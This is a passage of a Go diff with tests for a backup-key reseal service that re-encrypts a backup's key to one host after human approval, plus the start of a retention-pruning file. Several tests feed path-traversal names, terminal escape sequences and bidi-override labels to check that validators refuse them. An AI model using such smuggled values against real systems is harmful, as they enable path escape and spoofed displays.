if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("a", 1), To: to, Stamp: fixtureStamp}); err != nil {
|
||||
t.Fatalf("a null record: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// The bound is on requests waiting for an answer: answering one, either
|
||||
// way, frees its room at once, and an answered request no longer holds the
|
||||
// sidecar it came with.
|
||||
func TestResealAnswerFreesRoom(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
to := mustRecipient(t)
|
||||
var ids []string
|
||||
for i := 0; i < resealMaxRequests; i++ {
|
||||
r, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("q", i), To: to, Stamp: fixtureStamp})
|
||||
if err != nil {
|
||||
t.Fatalf("request %d: %v", i, err)
|
||||
}
|
||||
ids = append(ids, r.ID)
|
||||
}
|
||||
next := resealReq{Sidecar: junkSidecar("q", 100), To: to, Stamp: fixtureStamp}
|
||||
if _, err := resealFile(dir, fixtureWho, next); err == nil {
|
||||
t.Fatal("a request past the bound was filed")
|
||||
}
|
||||
if _, err := resealRefuse(dir, fixtureWho, ids[0], ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := resealFile(dir, fixtureWho, next); err != nil {
|
||||
t.Fatalf("a deny did not free room: %v", err)
|
||||
}
|
||||
// An approval frees room too, whatever its outcome (this sidecar does not
|
||||
// open, so it fails).
|
||||
withBackupKeysDir(t)
|
||||
newBackupFixture(t, "").installAsBastionKey(t)
|
||||
if _, err := resealDecide(dir, fixtureWho, ids[1], true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("q", 101), To: to, Stamp: fixtureStamp}); err != nil {
|
||||
t.Fatalf("an approval did not free room: %v", err)
|
||||
}
|
||||
m, _ := resealRead(dir)
|
||||
for _, id := range ids[:2] {
|
||||
if m[id].State == "pending" || m[id].Sidecar != "" {
|
||||
t.Fatalf("an answered request still holds its sidecar: %+v", m[id])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Answered requests are kept for the host to read, at most resealMaxAnswered
|
||||
// of them, the oldest answered going first.
|
||||
func TestResealAnsweredRequestsAreBounded(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
to := mustRecipient(t)
|
||||
var first string
|
||||
for i := 0; i < resealMaxAnswered+5; i++ {
|
||||
r, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("z", i), To: to, Stamp: fixtureStamp})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if i == 0 {
|
||||
first = r.ID
|
||||
}
|
||||
if _, err := resealRefuse(dir, fixtureWho, r.ID, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
m, _ := resealRead(dir)
|
||||
if len(m) != resealMaxAnswered {
|
||||
t.Fatalf("%d answered requests kept, want %d", len(m), resealMaxAnswered)
|
||||
}
|
||||
if _, ok := m[first]; ok {
|
||||
t.Fatal("the oldest answered request was kept and a newer one dropped")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,527 @@
|
||||
package main
|
||||
|
||||
// Gate: a reseal hands a host the key to ONE backup, sealed to that host
|
||||
// alone, only after the person approves it here; and it refuses anything that
|
||||
// is not the backup it claims to be. The fixture sidecar was written by the
|
||||
// real age command (testdata/backup), in the shape hosts write.
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"filippo.io/age"
|
||||
"filippo.io/age/armor"
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
func armorSeal(t *testing.T, plain []byte, to age.Recipient) []byte {
|
||||
t.Helper()
|
||||
var out bytes.Buffer
|
||||
aw := armor.NewWriter(&out)
|
||||
w, err := age.Encrypt(aw, to)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, _ = w.Write(plain)
|
||||
_ = w.Close()
|
||||
_ = aw.Close()
|
||||
return out.Bytes()
|
||||
}
|
||||
|
||||
func armorOpen(t *testing.T, armored []byte, id age.Identity) []byte {
|
||||
t.Helper()
|
||||
r, err := age.Decrypt(armor.NewReader(bytes.NewReader(armored)), id)
|
||||
if err != nil {
|
||||
t.Fatalf("the resealed sidecar does not open with the host's key: %v", err)
|
||||
}
|
||||
b, _ := io.ReadAll(r)
|
||||
return b
|
||||
}
|
||||
|
||||
// Cross-language, both directions: a sidecar the age command wrote is opened
|
||||
// and resealed here, and what this code wrote opens with the age command.
|
||||
func TestResealOpensAnAgeWrittenSidecarAndSealsToTheHostAlone(t *testing.T) {
|
||||
bin := ageBinary(t)
|
||||
fx := newBackupFixture(t, bin)
|
||||
host, _ := age.GenerateX25519Identity()
|
||||
other, _ := age.GenerateX25519Identity()
|
||||
out, sc, err := resealSidecar(fx.sidecar(t), []age.Identity{fx.recovery}, host.Recipient(), fixtureStamp)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if sc.Stamp != fixtureStamp || sc.EntityID != 42 {
|
||||
t.Fatalf("read the wrong record: %+v", sc)
|
||||
}
|
||||
if got := armorOpen(t, out, host); !bytes.Equal(got, fx.plain) {
|
||||
t.Fatalf("the resealed record is not the sealed one, byte for byte:\n%s\n%s", got, fx.plain)
|
||||
}
|
||||
if _, err := age.Decrypt(armor.NewReader(bytes.NewReader(out)), other); err == nil {
|
||||
t.Fatal("a host that was not asked for opened the resealed key")
|
||||
}
|
||||
if _, err := age.Decrypt(armor.NewReader(bytes.NewReader(out)), fx.recovery); err == nil {
|
||||
t.Fatal("the resealed copy is also sealed to the key that opened it; it must go to the host alone")
|
||||
}
|
||||
if strings.Contains(string(out), "AGE-SECRET-KEY") {
|
||||
t.Fatal("the identity travels in clear")
|
||||
}
|
||||
dir := t.TempDir()
|
||||
idFile := filepath.Join(dir, "host.txt")
|
||||
_ = os.WriteFile(idFile, []byte(host.String()+"\n"), 0o600)
|
||||
scFile := filepath.Join(dir, "resealed.age")
|
||||
_ = os.WriteFile(scFile, out, 0o600)
|
||||
got, err := exec.Command(bin, "-d", "-i", idFile, scFile).Output()
|
||||
if err != nil {
|
||||
t.Fatalf("the age command cannot open the resealed sidecar: %v", err)
|
||||
}
|
||||
if !bytes.Equal(got, fx.plain) {
|
||||
t.Fatal("the age command reads a different record")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResealRefusesWhatIsNotTheBackupItClaims(t *testing.T) {
|
||||
user, _ := age.GenerateX25519Identity()
|
||||
host, _ := age.GenerateX25519Identity()
|
||||
pb, _ := age.GenerateX25519Identity()
|
||||
ids := []age.Identity{user}
|
||||
good := backupSidecar{V: 1, Kind: sidecarKind, Identity: pb.String(),
|
||||
Object: "b/" + fixtureStamp + ".tar.zst.age", EntityID: 7, Stamp: fixtureStamp, MadeAt: "2026-09-28T02:00:00Z"}
|
||||
seal := func(sc any) []byte {
|
||||
b, _ := json.Marshal(sc)
|
||||
return armorSeal(t, b, user.Recipient())
|
||||
}
|
||||
if _, _, err := resealSidecar(seal(good), ids, host.Recipient(), fixtureStamp); err != nil {
|
||||
t.Fatalf("a good sidecar was refused: %v", err)
|
||||
}
|
||||
cases := map[string][]byte{}
|
||||
b := good
|
||||
b.Kind = "something-else"
|
||||
cases["wrong kind"] = seal(b)
|
||||
b = good
|
||||
b.V = 2
|
||||
cases["unknown version"] = seal(b)
|
||||
b = good
|
||||
b.Object = "b/20260101T000000Z.tar.zst.age"
|
||||
cases["object names another backup"] = seal(b)
|
||||
b = good
|
||||
b.Stamp = "yesterday"
|
||||
b.Object = "b/yesterday.tar.zst.age"
|
||||
cases["stamp is not a stamp"] = seal(b)
|
||||
b = good
|
||||
b.MadeAt = "yesterday\x1b[2J"
|
||||
cases["made_at is not a time"] = seal(b)
|
||||
b = good
|
||||
b.MadeAt = ""
|
||||
cases["no made_at"] = seal(b)
|
||||
b = good
|
||||
b.Identity = "AGE-SECRET-KEY-1NOTAKEY"
|
||||
cases["identity does not parse"] = seal(b)
|
||||
cases["not JSON"] = armorSeal(t, []byte("hello"), user.Recipient())
|
||||
cases["sealed to someone else"] = armorSeal(t, sidecarJSON(good), host.Recipient())
|
||||
cases["too large"] = bytes.Repeat([]byte("A"), sidecarMaxBytes+1)
|
||||
for name, in := range cases {
|
||||
if _, _, err := resealSidecar(in, ids, host.Recipient(), ""); err == nil {
|
||||
t.Errorf("%s: resealed", name)
|
||||
}
|
||||
}
|
||||
// A sidecar for one backup cannot be resealed as another.
|
||||
if _, _, err := resealSidecar(seal(good), ids, host.Recipient(), "20250101T000000Z"); err == nil {
|
||||
t.Error("a sidecar was resealed for a backup it does not name")
|
||||
}
|
||||
}
|
||||
|
||||
// A host writes a backup's key file naming b/<stamp> when the backup is kept
|
||||
// in platform storage and s/<stamp> when it is staged there only until a
|
||||
// second copy exists (a backup kept only on a bastion). Both open and reseal,
|
||||
// written by the age command and by this code alike.
|
||||
func TestResealTakesBothPlacesABackupIsKept(t *testing.T) {
|
||||
bins := []string{""}
|
||||
if p, err := exec.LookPath("age"); err == nil {
|
||||
bins = append(bins, p)
|
||||
} else if p := os.Getenv("AGE_BIN"); p != "" {
|
||||
bins = append(bins, p)
|
||||
} else if os.Getenv("PRIVATAE_REQUIRE_AGE") != "" {
|
||||
t.Fatal("PRIVATAE_REQUIRE_AGE is set and no age binary was found (AGE_BIN or PATH)")
|
||||
}
|
||||
for _, bin := range bins {
|
||||
for _, sub := range []string{"b", "s"} {
|
||||
fx := newBackupFixtureAs(t, bin, sub, fixtureEntity)
|
||||
host, _ := age.GenerateX25519Identity()
|
||||
out, sc, err := resealSidecar(fx.sidecar(t), []age.Identity{fx.recovery}, host.Recipient(), fixtureStamp)
|
||||
if err != nil {
|
||||
t.Fatalf("%s/ key file (age command: %v) refused: %v", sub, bin != "", err)
|
||||
}
|
||||
if sc.Object != sub+"/"+fixtureStamp+".tar.zst.age" {
|
||||
t.Fatalf("read the wrong record: %+v", sc)
|
||||
}
|
||||
if !bytes.Equal(armorOpen(t, out, host), fx.plain) {
|
||||
t.Fatalf("%s/: the resealed record is not the sealed one", sub)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Only those two places, and only the sidecar's own stamp: any other folder,
|
||||
// a path that climbs or nests, or another backup's name is refused.
|
||||
func TestResealRefusesAnObjectOutsideBothPlaces(t *testing.T) {
|
||||
user, _ := age.GenerateX25519Identity()
|
||||
host, _ := age.GenerateX25519Identity()
|
||||
pb, _ := age.GenerateX25519Identity()
|
||||
name := fixtureStamp + ".tar.zst.age"
|
||||
for _, obj := range []string{
|
||||
"x/" + name, "../b/" + name, "b/../b/" + name, "s/../b/" + name, "b/b/" + name, "b//" + name,
|
||||
"/b/" + name, "./b/" + name, "B/" + name, "S/" + name, "bs/" + name, "exports/" + name,
|
||||
"b\\" + name, name, "b/", "s/", "", "b/20260101T000000Z.tar.zst.age", "s/" + fixtureStamp + ".tar.zst",
|
||||
"s/" + fixtureStamp + ".tar.zst.age/x", " s/" + name, "s/" + name + "\x00",
|
||||
} {
|
||||
sc := backupSidecar{V: 1, Kind: sidecarKind, Identity: pb.String(), Object: obj, EntityID: fixtureEntity,
|
||||
Stamp: fixtureStamp, MadeAt: "2026-09-28T02:00:00Z"}
|
||||
in := armorSeal(t, sidecarJSON(sc), user.Recipient())
|
||||
if _, _, err := resealSidecar(in, []age.Identity{user}, host.Recipient(), ""); err == nil ||
|
||||
!strings.Contains(err.Error(), "does not match its stamp") {
|
||||
t.Errorf("object %q: %v", obj, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func sidecarJSON(v any) []byte {
|
||||
b, _ := json.Marshal(v)
|
||||
return b
|
||||
}
|
||||
|
||||
// driveBackupOp runs one job through the real management frame path, from
|
||||
// an anonymous caller.
|
||||
func driveBackupOp(t *testing.T, op, dcnDir, backupRoot string, arg any) (string, string, int) {
|
||||
t.Helper()
|
||||
return driveBackupOpAs(t, "", op, dcnDir, backupRoot, arg)
|
||||
}
|
||||
|
||||
// driveBackupOpAs is driveBackupOp from the pairing self.
|
||||
func driveBackupOpAs(t *testing.T, self, op, dcnDir, backupRoot string, arg any) (string, string, int) {
|
||||
t.Helper()
|
||||
raw, _ := json.Marshal(arg)
|
||||
up := websocket.Upgrader{}
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
ws, err := up.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer ws.Close()
|
||||
handleMgmtConnFor(ws, self, "", dcnDir, backupRoot)
|
||||
}))
|
||||
defer srv.Close()
|
||||
c, _, err := websocket.DefaultDialer.Dial("ws"+strings.TrimPrefix(srv.URL, "http"), nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial: %v", err)
|
||||
}
|
||||
defer c.Close()
|
||||
job, _ := json.Marshal(mgmtJob{Op: op, Args: []string{string(raw)}})
|
||||
if err := c.WriteMessage(websocket.BinaryMessage, append([]byte("C"), job...)); err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
}
|
||||
var out, errOut string
|
||||
for {
|
||||
_, data, err := c.ReadMessage()
|
||||
if err != nil {
|
||||
t.Fatalf("read: %v", err)
|
||||
}
|
||||
switch data[0] {
|
||||
case 'O':
|
||||
out += string(data[1:])
|
||||
case 'R':
|
||||
errOut += string(data[1:])
|
||||
case 'X':
|
||||
var code int
|
||||
fmt.Sscanf(string(data[1:]), "%d", &code)
|
||||
return out, errOut, code
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func resealStatus(t *testing.T, dcn, id string) map[string]string {
|
||||
t.Helper()
|
||||
out, errOut, code := driveBackupOp(t, "backup_reseal", dcn, "", resealReq{Op: "status", JobID: id})
|
||||
if code != 0 {
|
||||
t.Fatalf("status exited %d: %s", code, errOut)
|
||||
}
|
||||
var m map[string]string
|
||||
if err := json.Unmarshal([]byte(out), &m); err != nil {
|
||||
t.Fatalf("status is not JSON: %s", out)
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
// The whole lane: the host files, nothing is opened until the person
|
||||
// approves here, then the host collects a key only it can open.
|
||||
func TestBackupResealWaitsForThePersonThenDeliversToTheHostOnly(t *testing.T) {
|
||||
fx := newBackupFixture(t, "")
|
||||
fx.installAsBastionKey(t)
|
||||
|
||||
dcn := withFixturePairings(t, map[string]int64{fixtureHost: fixtureEntity})[fixtureHost]
|
||||
host, _ := age.GenerateX25519Identity()
|
||||
req := resealReq{Op: "start", Sidecar: string(fx.sidecar(t)), To: host.Recipient().String(),
|
||||
Stamp: fixtureStamp, HostLabel: "the host being restored"}
|
||||
out, errOut, code := driveBackupOpAs(t, fixtureHost, "backup_reseal", dcn, "", req)
|
||||
if code != 0 {
|
||||
t.Fatalf("start exited %d: %s", code, errOut)
|
||||
}
|
||||
var started map[string]string
|
||||
_ = json.Unmarshal([]byte(out), &started)
|
||||
if started["state"] != "pending" || !strings.HasPrefix(started["job_id"], "br-") {
|
||||
t.Fatalf("start did not file a pending request: %s", out)
|
||||
}
|
||||
// Asking again files nothing new.
|
||||
out2, _, _ := driveBackupOpAs(t, fixtureHost, "backup_reseal", dcn, "", req)
|
||||
var again map[string]string
|
||||
_ = json.Unmarshal([]byte(out2), &again)
|
||||
if again["job_id"] != started["job_id"] {
|
||||
t.Fatal("the same ask filed a second request")
|
||||
}
|
||||
st := resealStatus(t, dcn, started["job_id"])
|
||||
if st["state"] != "pending" || st["sidecar"] != "" {
|
||||
t.Fatalf("a key was handed out before the person approved: %v", st)
|
||||
}
|
||||
// Another pairing's state directory knows nothing of it.
|
||||
if o := resealStatus(t, t.TempDir(), started["job_id"]); o["state"] != "unknown" {
|
||||
t.Fatalf("another pairing read this request: %v", o)
|
||||
}
|
||||
|
||||
if _, err := resealDecide(dcn, fixtureWho, started["job_id"], true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
st = resealStatus(t, dcn, started["job_id"])
|
||||
if st["state"] != "done" {
|
||||
t.Fatalf("approved request is %v", st)
|
||||
}
|
||||
if got := armorOpen(t, []byte(st["sidecar"]), host); !bytes.Equal(got, fx.plain) {
|
||||
t.Fatal("the host received a different record")
|
||||
}
|
||||
if _, err := resealDecide(dcn, fixtureWho, started["job_id"], true); err == nil {
|
||||
t.Fatal("a decided request was decided again")
|
||||
}
|
||||
|
||||
// A refusal hands over nothing.
|
||||
req.To = mustRecipient(t)
|
||||
out, _, _ = driveBackupOpAs(t, fixtureHost, "backup_reseal", dcn, "", req)
|
||||
var second map[string]string
|
||||
_ = json.Unmarshal([]byte(out), &second)
|
||||
if _, err := resealDecide(dcn, fixtureWho, second["job_id"], false); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if st := resealStatus(t, dcn, second["job_id"]); st["state"] != "refused" || st["sidecar"] != "" {
|
||||
t.Fatalf("a refused request handed something over: %v", st)
|
||||
}
|
||||
}
|
||||
|
||||
func mustRecipient(t *testing.T) string {
|
||||
id, _ := age.GenerateX25519Identity()
|
||||
return id.Recipient().String()
|
||||
}
|
||||
|
||||
func TestBackupResealStartRefusesMalformedAsks(t *testing.T) {
|
||||
dcn := withFixturePairings(t, map[string]int64{fixtureHost: fixtureEntity})[fixtureHost]
|
||||
fx := newBackupFixture(t, "")
|
||||
good := resealReq{Op: "start", Sidecar: string(fx.sidecar(t)), To: mustRecipient(t), Stamp: fixtureStamp}
|
||||
bad := map[string]resealReq{}
|
||||
r := good
|
||||
r.Sidecar = "not armored"
|
||||
bad["unarmored sidecar"] = r
|
||||
r = good
|
||||
r.Sidecar = strings.Repeat("A", sidecarMaxBytes+1)
|
||||
bad["oversized sidecar"] = r
|
||||
r = good
|
||||
r.To = "age1notakey"
|
||||
bad["bad key"] = r
|
||||
r = good
|
||||
r.Stamp = "../etc"
|
||||
bad["bad stamp"] = r
|
||||
for name, label := range map[string]string{
|
||||
"multi-line label": "two\nlines", "escape sequence": "host\x1b[31m red", "C1 control": "ho\u0085st",
|
||||
"reversed text": "host\u202etxt.exe", "line separator": "a\u2028b", "bell": "ho\x07st",
|
||||
"too long": strings.Repeat("x", resealLabelMax+1),
|
||||
} {
|
||||
r = good
|
||||
r.HostLabel = label
|
||||
bad[name] = r
|
||||
}
|
||||
for name, req := range bad {
|
||||
if _, _, code := driveBackupOpAs(t, fixtureHost, "backup_reseal", dcn, "", req); code == 0 {
|
||||
t.Errorf("%s: accepted", name)
|
||||
}
|
||||
}
|
||||
// Not from a pairing, or from one that is not paired here: refused too.
|
||||
for _, self := range []string{"", "other.host.privatae.ai"} {
|
||||
if _, _, code := driveBackupOpAs(t, self, "backup_reseal", dcn, "", good); code == 0 {
|
||||
t.Errorf("an ask from %q was accepted", self)
|
||||
}
|
||||
}
|
||||
if m, _ := resealRead(dcn); len(m) != 0 {
|
||||
t.Fatalf("refused asks were filed: %d", len(m))
|
||||
}
|
||||
// The same ask, well formed and from the pairing, is filed: the refusals
|
||||
// above were for what they say.
|
||||
if _, errOut, code := driveBackupOpAs(t, fixtureHost, "backup_reseal", dcn, "", good); code != 0 {
|
||||
t.Fatalf("a good ask was refused: %s", errOut)
|
||||
}
|
||||
}
|
||||
|
||||
// The op table carries both new ops under the backup family, each with its
|
||||
// own approval, so the generic per-run gate never asks twice for one act.
|
||||
func TestBackupOpsAreClassified(t *testing.T) {
|
||||
for _, op := range []string{"backup_push", "backup_reseal", "backup_list"} {
|
||||
if _, ok := handlerOps[op]; !ok {
|
||||
t.Errorf("%s has no handler", op)
|
||||
}
|
||||
if opFamily(op) != "dcn" {
|
||||
t.Errorf("%s is in family %q", op, opFamily(op))
|
||||
}
|
||||
}
|
||||
for _, op := range []string{"backup_push", "backup_reseal"} {
|
||||
if !opWrites(op) || !ownApproval(op) {
|
||||
t.Errorf("%s: a write that carries its own approval (writes=%v own=%v)", op, opWrites(op), ownApproval(op))
|
||||
}
|
||||
}
|
||||
if opWrites("backup_list") {
|
||||
t.Error("backup_list is a read")
|
||||
}
|
||||
if handlerOps["backup_reseal"].root != rootDcn || handlerOps["backup_push"].root != rootBackup ||
|
||||
handlerOps["backup_list"].root != rootBackup {
|
||||
t.Error("the ops run against the wrong root")
|
||||
}
|
||||
}
|
||||
|
||||
// A host cannot fill this machine's state with requests: past a count, or
|
||||
// past a total size, start is refused with a sentence saying what to do.
|
||||
func TestBackupResealQueueIsBounded(t *testing.T) {
|
||||
armored := func(i, size int) string {
|
||||
head := "-----BEGIN AGE ENCRYPTED FILE-----\n"
|
||||
body := fmt.Sprintf("%08d", i) + strings.Repeat("A", size-len(head)-8)
|
||||
return head + body
|
||||
}
|
||||
to := mustRecipient(t)
|
||||
|
||||
dir := t.TempDir()
|
||||
for i := 0; i < resealMaxRequests; i++ {
|
||||
if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: armored(i, 200), To: to, Stamp: fixtureStamp}); err != nil {
|
||||
t.Fatalf("request %d refused: %v", i, err)
|
||||
}
|
||||
}
|
||||
_, err := resealFile(dir, fixtureWho, resealReq{Sidecar: armored(99, 200), To: to, Stamp: fixtureStamp})
|
||||
if err == nil || !strings.Contains(err.Error(), "backup requests") {
|
||||
t.Fatalf("request past the count was not refused as such: %v", err)
|
||||
}
|
||||
// The same ask again is still answered: it files nothing new.
|
||||
if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: armored(0, 200), To: to, Stamp: fixtureStamp}); err != nil {
|
||||
t.Fatalf("a repeated ask was refused: %v", err)
|
||||
}
|
||||
|
||||
dir = t.TempDir()
|
||||
big := sidecarMaxBytes
|
||||
n := 0
|
||||
for ; (n+1)*big <= resealMaxBytes; n++ {
|
||||
if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: armored(n, big), To: to, Stamp: fixtureStamp}); err != nil {
|
||||
t.Fatalf("request %d of %d bytes refused: %v", n, big, err)
|
||||
}
|
||||
}
|
||||
if n >= resealMaxRequests {
|
||||
t.Fatalf("the size bound (%d) is never reached before the count (%d)", resealMaxBytes, resealMaxRequests)
|
||||
}
|
||||
if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: armored(n, big), To: to, Stamp: fixtureStamp}); err == nil ||
|
||||
!strings.Contains(err.Error(), "KiB") {
|
||||
t.Fatalf("request past the size bound was not refused: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// What the person reads before approving: the host's words, marked as the
|
||||
// host's, beside what the sidecar itself says when opened here.
|
||||
func TestResealPreviewShowsWhatTheSidecarSays(t *testing.T) {
|
||||
fx := newBackupFixture(t, "")
|
||||
r := &resealRequest{ID: "br-1", Stamp: fixtureStamp, Pairing: fixtureHost, HostNumber: fixtureEntity,
|
||||
HostLabel: "my new host", To: mustRecipient(t), Sidecar: string(fx.sidecar(t)), State: "pending"}
|
||||
p, refusal := resealPreview(r, []age.Identity{fx.recovery}, fixtureWho)
|
||||
if refusal != "" {
|
||||
t.Fatalf("the host's own backup is refused: %s", refusal)
|
||||
}
|
||||
for _, want := range []string{"Sent by the pairing " + fixtureHost + ", host number 42", "What the host says",
|
||||
`"my new host"`, "host number 42",
|
||||
`"2026-09-28T02:00:00Z"`, `"b/` + fixtureStamp + `.tar.zst.age"`} {
|
||||
if !strings.Contains(p, want) {
|
||||
t.Errorf("the preview does not show %q:\n%s", want, p)
|
||||
}
|
||||
}
|
||||
if strings.Contains(p, "approving will fail") {
|
||||
t.Errorf("a matching sidecar was flagged:\n%s", p)
|
||||
}
|
||||
r.Stamp = "20250101T000000Z"
|
||||
if p, _ := resealPreview(r, []age.Identity{fx.recovery}, fixtureWho); !strings.Contains(p, "approving will fail") {
|
||||
t.Errorf("a sidecar for another backup was not flagged:\n%s", p)
|
||||
}
|
||||
other, _ := age.GenerateX25519Identity()
|
||||
if p, _ := resealPreview(r, []age.Identity{other}, fixtureWho); !strings.Contains(p, "does not open here") {
|
||||
t.Errorf("a sidecar this bastion cannot open was not said so:\n%s", p)
|
||||
}
|
||||
}
|
||||
|
||||
// With a second factor enrolled for the pairing, approving needs its code:
|
||||
// no code or a wrong one opens nothing and leaves the request pending.
|
||||
func TestBackupApproveNeedsTheEnrolledFactor(t *testing.T) {
|
||||
fx := newBackupFixture(t, "")
|
||||
fx.installAsBastionKey(t)
|
||||
dir := t.TempDir()
|
||||
secret := "GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ"
|
||||
if err := stepupSave(dir, &stepupFile{SecretB32: secret, EnrolledAt: "2026-09-28T00:00:00Z", LastCounter: -1}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
host, _ := age.GenerateX25519Identity()
|
||||
r, err := resealFile(dir, fixtureWho, resealReq{Sidecar: string(fx.sidecar(t)), To: host.Recipient().String(), Stamp: fixtureStamp})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, _ := b32decode(secret)
|
||||
now := time.Now()
|
||||
good := hotp(raw, now.Unix()/stepupPeriod)
|
||||
wrong := "000000"
|
||||
if wrong == good {
|
||||
wrong = "111111"
|
||||
}
|
||||
for _, code := range []string{"", wrong} {
|
||||
if _, err := resealApprove(dir, fixtureWho, r.ID, code); err == nil {
|
||||
t.Fatalf("approved with code %q", code)
|
||||
}
|
||||
m, _ := resealRead(dir)
|
||||
if st := m[r.ID]; st.State != "pending" || st.Resealed != "" {
|
||||
t.Fatalf("a refused approval changed the request: %+v", st)
|
||||
}
|
||||
}
|
||||
done, err := resealApprove(dir, fixtureWho, r.ID, good)
|
||||
if err != nil {
|
||||
t.Fatalf("the right code was refused: %v", err)
|
||||
}
|
||||
if done.State != "done" || !bytes.Equal(armorOpen(t, []byte(done.Resealed), host), fx.plain) {
|
||||
t.Fatalf("approved with the right code, but: %+v", done.State)
|
||||
}
|
||||
}
|
||||
|
||||
// Labels that cannot ride the JSON frame intact are refused by the check
|
||||
// itself: invalid UTF-8 is not a label.
|
||||
func TestResealLabelCheck(t *testing.T) {
|
||||
for _, ok := range []string{"", "my new host", "hôte n°2 — été"} {
|
||||
if !resealLabelOK(ok) {
|
||||
t.Errorf("%q refused", ok)
|
||||
}
|
||||
}
|
||||
for _, bad := range []string{"host\xff", "ho\x1bst", "ho\u200bst", "ho\u2066st", "a\u2029b", strings.Repeat("é", 61)} {
|
||||
if resealLabelOK(bad) {
|
||||
t.Errorf("%q accepted", bad)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
package main
|
||||
|
||||
// backupretention.go — how many backups this machine keeps.
|
||||
//
|
||||
// A host sends its backup here every night (backup_fetch). Kept forever, they
|
||||
// would fill the disk; so after each new backup arrives, the pairing's backup
|
||||
// folder is thinned the way the host's other copies are: the newest 7, and
|
||||
// the newest of each of the last 14 days, 8 weeks and 12 months.
|
||||
//
|
||||
// ONLY WHAT THIS BASTION FETCHED. Thinning considers the files in the record
|
||||
// of arrivals (backupstate.go), which only a completed backup_fetch writes,
|
||||
// and each only while it is still the file that arrived (same size and
|
||||
// modification time). A file the person put in the folder, one that was
|
||||
// there before this version, or one replaced since it arrived, is never
|
||||
// counted and never removed; a changed or vanished file just leaves the
|
||||
// record.
|
||||
//
|
||||
// BY ARRIVAL, NOT BY NAME. The record keeps the moment each file arrived,
|
||||
// and that decides its day, week and month. The name comes from the host; if
|
||||
// it decided, a host that had been taken over could send a batch of newer-
|
||||
// named files into every past day and push the real backups of those days
|
||||
// out. By arrival, everything a host sends today competes only with today.
|
||||
//
|
||||
// Backups are thinned in pairs (<stamp>.tar.zst.age and its <stamp>.key.age),
|
||||
// the backup that just arrived is never removed, and a file named .keep-all
|
||||
// in the folder turns thinning off.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"sort"
|
||||
"time"
|
||||
)
|
||||
|
||||
// backupFileRe is the name of a backup file: its stamp, then data or sidecar.
|
||||
var backupFileRe = regexp.MustCompile(`^([0-9]{8}T[0-9]{6}Z)\.(tar\.zst\.age|key\.age)$`)
|
||||
|
||||
const (
|
||||
keepLast = 7
|
||||
keepDaily = 14
|
||||
keepWeekly = 8
|
||||
keepMonthly = 12
|
||||
)
|
||||
|
||||
type backupGroup struct {
|
||||
stamp string
|
||||
arrived time.Time
|
||||
files []string
|
||||
}
|
||||
|
||||
// pruneBackupRoot thins the pairing's backup folder root after the backup
|
||||
// file `justArrived` (a name at its top) arrived. Returns the files removed.
|
||||
func pruneBackupRoot(root, justArrived string) ([]string, error) {
|
||||
m := backupFileRe.FindStringSubmatch(justArrived)
|
||||
if m == nil {
|
||||
return nil, nil
|
||||
}
|
||||
if _, err := os.Lstat(filepath.Join(root, ".keep-all")); err == nil {
|
||||
return nil, nil
|
||||
}
|
||||
backupStateMu.Lock()
|
||||
defer backupStateMu.Unlock()
|
||||
a, err := arrivalsLoadLocked(root)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
groups := map[string]*backupGroup{}
|
||||
for name, rec := range a.Files {
|
||||
mm := backupFileRe.FindStringSubmatch(name)
|
||||
fi, err := os.Lstat(filepath.Join(root, name))
|
||||
if mm == nil || err != nil || !stillTheArrival(fi, rec) {
|
||||
delete(a.Files, name)
|
||||
continue
|
||||
}
|
||||
at, err := time.Parse(time.RFC3339Nano, rec.Arrived)
|
||||
if err != nil {
|
||||
delete(a.Files, name)
|
||||
continue
|
||||
}
|
||||
g := groups[mm[1]]
|
||||
if g == nil {
|
||||
g = &backupGroup{stamp: mm[1]}
|
||||
groups[mm[1]] = g
|
||||
}
|
||||
